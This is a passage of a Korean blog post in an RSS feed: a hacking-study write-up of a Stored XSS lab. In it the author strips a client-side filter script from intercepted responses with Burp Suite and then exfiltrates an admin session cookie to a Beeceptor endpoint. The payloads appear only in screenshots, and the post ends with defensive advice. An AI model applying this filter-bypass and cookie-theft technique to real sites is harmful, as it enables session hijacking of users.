loading=&quot;lazy&quot; width=&quot;806&quot; height=&quot;314&quot; data-origin-width=&quot;806&quot; data-origin-height=&quot;314&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;난 alert를 쓴 적이 없는데?&quot;&lt;/b&gt; 여기서부터 멘붕이 시작됐다. 뭔가 내가 모르는 검문소가 중간에 있다는 뜻이었다. 다시 한번 코드를 샅샅이 분석해 보기로 했다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 원인 파악: 클라이언트 사이드 필터링&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 Response 패킷을 뜯어보니 범인이 보였다. 수정 페이지로 넘어갈 때 서버가 이상한 자바스크립트를 하나 끼워 보냈는데, 바로 &lt;code&gt;checkContent&lt;/code&gt;라는 함수였다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;516&quot; data-origin-height=&quot;222&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEZUeb/dJMcahXnQ6l/1QhTRy4G9D3935fPtIBVek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEZUeb/dJMcahXnQ6l/1QhTRy4G9D3935fPtIBVek/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEZUeb/dJMcahXnQ6l/1QhTRy4G9D3935fPtIBVek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEZUeb%2FdJMcahXnQ6l%2F1QhTRy4G9D3935fPtIBVek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;516&quot; height=&quot;222&quot; data-origin-width=&quot;516&quot; data-origin-height=&quot;222&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 함수는 브라우저가 서버로 데이터를 다시 보낼 때 &lt;code&gt;&amp;lt;&lt;/code&gt;와 &lt;code&gt;&amp;gt;&lt;/code&gt;를 강제로 HTML Entity로 바꿔버리는 역할을 하고 있었다. 즉, 내가 아무리 잘 짜서 보내도 내 브라우저가 스스로 코드를 망가뜨려서 보내고 있었던 것이다. &lt;b&gt;&quot;서버가 시킨 대로 브라우저가 나를 검사하고 있었다니...&quot;&lt;/b&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. 해결책: &quot;검문소 자체를 삭제하라&quot;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필터링이 브라우저에서 일어난다면, 브라우저가 그 필터링을 인지하지 못하게 하면 된다. Burp Suite의 &lt;b&gt;'Do intercept-response'&lt;/b&gt; 기능을 써서 서버가 보낸 응답을 가로챈 뒤, 문제가 되는 보안 스크립트 부분을 통째로 지워버렸다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;817&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IfEHA/dJMcafL13Ms/a3HPWYe3QJ2XgTD7jrwvC0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IfEHA/dJMcafL13Ms/a3HPWYe3QJ2XgTD7jrwvC0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IfEHA/dJMcafL13Ms/a3HPWYe3QJ2XgTD7jrwvC0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIfEHA%2FdJMcafL13Ms%2Fa3HPWYe3QJ2XgTD7jrwvC0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;940&quot; height=&quot;817&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;817&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;300&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5vmY0/dJMcagjQCMy/dZ5iJCN9LAjOIKqV6gmVLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5vmY0/dJMcagjQCMy/dZ5iJCN9LAjOIKqV6gmVLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5vmY0/dJMcagjQCMy/dZ5iJCN9LAjOIKqV6gmVLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5vmY0%2FdJMcagjQCMy%2FdZ5iJCN9LAjOIKqV6gmVLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;300&quot; data-origin-width=&quot;548&quot; data-origin-height=&quot;300&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필터가 사라진 상태에서 수정을 진행하니, 드디어 &lt;code&gt;confirm()&lt;/code&gt; 창이 정상적으로 떴다. 이제 관리자의 쿠키를 탈취할 진짜 공격 코드를 주입할 차례였다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;542&quot; data-origin-height=&quot;238&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cbmSu8/dJMcachs76u/DfKI3GDKpbbislr9ACoTO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cbmSu8/dJMcachs76u/DfKI3GDKpbbislr9ACoTO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cbmSu8/dJMcachs76u/DfKI3GDKpbbislr9ACoTO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcbmSu8%2FdJMcachs76u%2FDfKI3GDKpbbislr9ACoTO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;542&quot; height=&quot;238&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;542&quot; data-origin-height=&quot;238&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5. 최종 공격 및 성공&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;672&quot; data-origin-height=&quot;605&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ll9i5/dJMcagRGleV/JJrSKQ73WD2eQ5oKCMQx2K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ll9i5/dJMcagRGleV/JJrSKQ73WD2eQ5oKCMQx2K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ll9i5/dJMcagRGleV/JJrSKQ73WD2eQ5oKCMQx2K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fll9i5%2FdJMcagRGleV%2FJJrSKQ73WD2eQ5oKCMQx2K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;672&quot; height=&quot;605&quot; data-origin-width=&quot;672&quot; data-origin-height=&quot;605&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동일한 방식으로 다시 글을 수정하고, Response를 가로채 필터를 지워주는 과정을 반복했다. 결과는 대성공! Beeceptor 로그에 관리자의 세션 쿠키가 찍히며 플래그를 손에 넣었다.(Stored XSS이므로 해당 글의 링크를 관리자봇에게 접속시키면 된다)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;923&quot; data-origin-height=&quot;280&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dGXdTT/dJMcaaKHGtz/TvF6QbthNkoWH26JAn4kW1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dGXdTT/dJMcaaKHGtz/TvF6QbthNkoWH26JAn4kW1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dGXdTT/dJMcaaKHGtz/TvF6QbthNkoWH26JAn4kW1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdGXdTT%2FdJMcaaKHGtz%2FTvF6QbthNkoWH26JAn4kW1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;923&quot; height=&quot;280&quot; data-origin-width=&quot;923&quot; data-origin-height=&quot;280&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  보안 분석 및 소감&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 실습의 핵심은 &lt;b&gt;&quot;보안 로직은 반드시 서버 사이드(Server-side)에 있어야 한다&quot;&lt;/b&gt;는 것이다. 클라이언트(브라우저)에서 일어나는 모든 필터링은 공격자가 패킷을 가로채서 무력화할 수 있기 때문이다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;✅ 핵심 대응 방안&lt;/b&gt;&lt;br /&gt;1. &lt;b&gt;서버 측 검증:&lt;/b&gt; 자바스크립트 필터에 의존하지 말고, 서버에서 수신한 모든 데이터를 최종적으로 다시 인코딩해야 한다.&lt;br /&gt;2. &lt;b&gt;HttpOnly 쿠키:&lt;/b&gt; 세션 탈취를 막기 위해 쿠키에 HttpOnly 속성을 부여한다.&lt;br /&gt;3. &lt;b&gt;CSP 도입:&lt;/b&gt; 인라인 스크립트 실행과 신뢰하지 않는 도메인으로의 전송을 차단하는 강력한 보안 정책을 수립한다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;막혔을 때 답답했지만, Response까지 변조하며 문제를 풀고 나니 웹 보안의 큰 그림이 조금 더 선명하게 보이는 것 같다.  &lt;/p&gt;</description>
      <category>해킹스터디</category>
      <category>ISMS-P</category>
      <category>Normaltic</category>
      <category>XSS</category>
      <category>금보원</category>
      <category>노말틱</category>
      <category>웹해킹</category>
      <category>크로스사이트스크립팅</category>
      <category>크사</category>
      <category>필터링</category>
      <category>해린이</category>
      <author>herini0829</author>
      <guid isPermaLink="true">https://herini0829.tistory.com/25</guid>
      <comments>https://herini0829.tistory.com/25#entry25comment</comments>
      <pubDate>Wed, 31 Dec 2025 11:06:45 +0900</pubDate>
    </item>
  </channel>
</rss>